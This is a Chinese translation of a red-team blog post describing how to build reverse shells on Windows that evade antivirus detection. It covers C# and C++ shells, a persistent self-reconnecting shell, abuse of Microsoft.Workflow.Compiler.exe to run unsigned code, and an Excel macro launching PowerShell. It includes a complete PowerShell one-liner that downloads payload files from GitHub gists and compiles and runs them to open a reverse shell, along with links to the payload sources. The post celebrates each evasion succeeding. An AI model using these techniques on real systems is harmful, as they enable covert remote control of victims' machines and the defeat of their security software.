本文主要内容是在目标机器上生成反向shell的不同方法的技术概述。
2017年12月,窝写了一篇关于在内存中执行PowerShell脚本,从而达到一些可能的内部攻击的文章,这些脚本在几个月前没有被主要的杀毒软件检测到。在这几个月中,在通知所有的供应商之后,他们把这玩意加到了样本里,所以之前的GG了。在我的文章中使用的各种攻击中,通过直接在内存中执行的powersploit脚本得到一个反向shell,目前大多数AV供应商都会检测到这些攻击但是......
但如果使用C ++/C#写的程序或其他的东西完成同样的行为会咋样?
ps:其实以前国内的师傅也说到过,通过自己编写脚本,也可以让杀软检测不到。
C ++
代码并绕过AV在目标计算机上得到一个具有持久性的shell。C#Reverse Shell
。Microsoft.Workflow.Compiler.exe
和C#
配合反弹一个Reverse Shell
。PowerShell和C#
组合反弹ShellExcel宏,PowerShell和C#
组合反弹Shell在github上可以看到有很多C#代码示例,可以通过cmd.exe反弹shell。在这种情况下,我复制了部分代码并使用了以下简单的C#程序。没有bypass,没有持久性,没有隐藏性,只有简单的打开套接字并在受害者机器上启动cmd.exe
:
ps:译者复现的时候是用vscode,安装c#插件即可。参考https://blog.csdn.net/qq_40197828/article/details/79396818
vscode编译:我觉得也有和我一样不知道怎么编译的。2333
dotnet build -r win-x64
编译后也没拦截
嗯呢,Windows Defender的显示这个exe文件是干净的。AV端显示尚未执行任何恶意操作。对我们来说,nice。
在目标机器执行:
执行文件cmd实例对用户是可见的,如果提示窗口关闭,则shell将发生相同的情况。
ps:肯定一端关闭另外就会断开,考虑一下持久化的问题。QAQ
病毒检测结果:
https://www.virustotal.com/#/file/983fe1c7d4cb293d072fcf11f8048058c458a928cbb9169c149b721082cf70aa/detection
我想深入研究一下,发现不同的C++代码可以实现上面所说的功能,但其中一个引起了我的注意。特别是我发现@NinjaParanoid的代码可以获得有持久性强一些的反向shell。下面是代码的一些细节。有关所有详细信息,请转到原始文章。
这个脚本有三个主要优点:
源代码link:https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
编译代码后,使用Windows Defender对这个exe进行了扫描,未检测到任何威胁。此时,exe的行为是在恶意和非恶意之间的边界点。前面说过,只要您运行该文件,shell将在5秒后反弹回来。
在客户端,屏幕上不显示任何内容。如果出现问题,后台进程每5秒会自动重新连接到Kali。
病毒查杀结果:
一个关于如何利用代理凭证从内部公司网络在互联网上反弹一个shell的思考,让我开发了以下代码:
......就是这样......
...在编译代码之前,您只需要目标公司的代理IP/PORT
。考虑到安全原因,我无法共享源代码以避免被恶意利用,但如果您有一点编程技巧,你可以自己编写。但是很显然,这个攻击方法的失败率非常高,因为目标可能没有在凭据管理器上保存域凭据,从而导致攻击失败。
但是,这种情况的话,Windows Defender和其他企业的AV软件未检测到任何威胁,所以还是很OK。
感谢@SocketReve基佬帮我编写这个代码。
我深入查找了一些文章,我找到了不同的骚操作,主要是讨论Microsoft.Workflow.Compiler.exe
中任意未签名
的代码执行。
这里的文章:[1] (https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb)- 2 - 3。
通过这些文章,我在想...为什么不使用这种技术来用C#编写反弹shell的脚本?
总之呢,文章讨论了如何利用Microsoft.Workflow.Compiler.exe服务
然后运用到C#代码中。这是一个命令的示例:
REV.txt必须具有以下XOML结构:
下面你会发现你将要编译的C#代码的RAW结构(与上面我介绍的csharp反弹shell的代码一样):
运行该命令后,会发生以下情况:
C#源代码是从Rev.Shell文件中获取的
编译和执行C# payload
反弹shell
在这一点上,我想的是......假如将这是一次真实的攻击,红队下一步要做什么?
通过Microsoft.Workflow.Compiler.exe
编译的文件很简单,为何不使用powershell?
powershell -command“&{(New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt','。\ REV.txt')} “&& powershell -command”&{(New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell','。\ Rev.Shell' }}“&& C:\ Windows \ Microsoft.Net \ Framework64 \ v4.0.30319 \ Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
使用这个ps命令,PS将下载上述两个文件并将其保存在系统中。之后它会立即调用Microsoft.Workflow.Compiler.exe
来编译C#代码并反弹shell。
links:
PowerShell命令:https://gist.githubusercontent.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f/raw/7806b5c9642bdf39365c679addb28b6d19f31d76/PowerShell_Command.txt
REV.txt代码 :https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
Rev.Shell代码: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
PS启动后,reverse shell执行了,但是却不能够被检测到。
作为这系列攻击手法的最后一个骚操作,我想在宏中插入刚刚说的Powershell代码......猜猜看,嘤嘤嘤?
这个文件没有被检测为恶意文件,并且在没有任何警报的情况下反弹了shell。
检测:
get shell:
病毒检测结果
许多检测都涉及到启动PowerShell的宏,而不是实际的行为。这说明着如果我们能够对代码进行混淆或者使用其他服务来下载这两个文件,则可以绕过AV,反弹shell,如上所示。
通过以不同方式编写了几个反弹shell的代码,本文主要希望能够绕过反病毒软件,检测不到我们的行为。对于市场上的所有AV,前两个反弹shell的代码完全无法检测到。与恶意宏相关的签名仅仅涉及利用了PowerShell,而不是真正利用了微软服务。
关键的是,使用Microsoft.Workflow.Compiler.exe的任意代码执行技术仅依赖于调用命令的能力,而不依赖于PowerShell。我们没必要使用可能由反病毒软件的安全解决方案检测和阻止的某些PowerShell技术。但您可以获得一些绕过应用程序白名单和混淆我们的行为的新方法等好处。也就是说,当利用Microsoft.Workflow.Compiler.exe时,将创建一个临时DLL并可能被防病毒软件检测到。
所有这些都表明,由于趋势,我们似乎可能会开始看到越来越多的攻击是利用C#
或C#和PowerShell
的组合。
[原文链接](https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15)